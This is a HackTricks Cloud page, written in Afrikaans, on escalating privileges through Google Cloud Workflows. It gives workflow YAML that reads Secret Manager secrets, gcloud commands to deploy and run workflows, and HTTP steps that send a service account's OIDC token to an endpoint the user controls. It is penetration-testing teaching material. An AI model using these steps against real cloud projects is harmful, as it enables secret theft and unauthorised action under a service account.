GCP - Workflows Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Workflows
Basiese inligting:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Sover ek weet is dit nie moontlik om ’n shell te kry met toegang tot die metadata-endpoint wat die SA-kredensiale van die SA wat aan ’n Workflow gekoppel is, bevat nie. Dit is egter moontlik om die permissies van die SA te misbruik deur die aksies wat uitgevoer moet word binne die Workflow by te voeg.
Dit is moontlik om die dokumentasie van die connectors te vind. Byvoorbeeld, dit is die page of the Secretmanager connector. In die sybalk kan jy verskeie ander connectors vind.
En hier kan jy ’n voorbeeld vind van ’n connector wat ’n geheim uitdruk:
Workflow YAML konfigurasie om toegang tot secrets te kry
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Opdatering vanaf die CLI:
Ontplooi en voer workflows uit vanaf die CLI
```bash gcloud workflows deployAs jy nie webtoegang het nie, is dit moontlik om die uitvoering van ’n Workflow te trigger en te sien met:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Jy kan ook die uitvoer van vorige uitvoerings nagaan om na sensitiewe inligting te kyk
Let daarop dat selfs as jy ’n fout kry soos PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... omdat jy daardie toestemming nie het nie, is die workflow gegenereer.
Leak OIDC token (en OAuth?)
According to the docs is dit moontlik om workflow-stappe te gebruik wat ’n HTTP-versoek met die OAuth of OIDC token sal stuur. Soos in die geval van Cloud Scheduler, moet die HTTP-versoek met die Oauth token egter na die gasheer .googleapis.com wees.
Caution
Daarom is dit moontlik om die OIDC token te leak deur ’n HTTP-endpoint aan te dui wat deur die gebruiker beheer word, maar om die OAuth token te leak sou jy ’n ompad (bypass) nodig hê vir daardie beskerming. Nietemin kan jy steeds kontak enige GCP api om optrede namens die SA uit te voer deur óf connectors óf HTTP-versoeke met die OAuth-token te gebruik.
Oauth
Workflow HTTP versoek met OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Workflow HTTP-versoek met OIDC-token
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Met hierdie toestemming, in plaas van workflows.workflows.create, is dit moontlik om ’n reeds bestaande workflow op te dateer en dieselfde aanvalle uit te voer.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

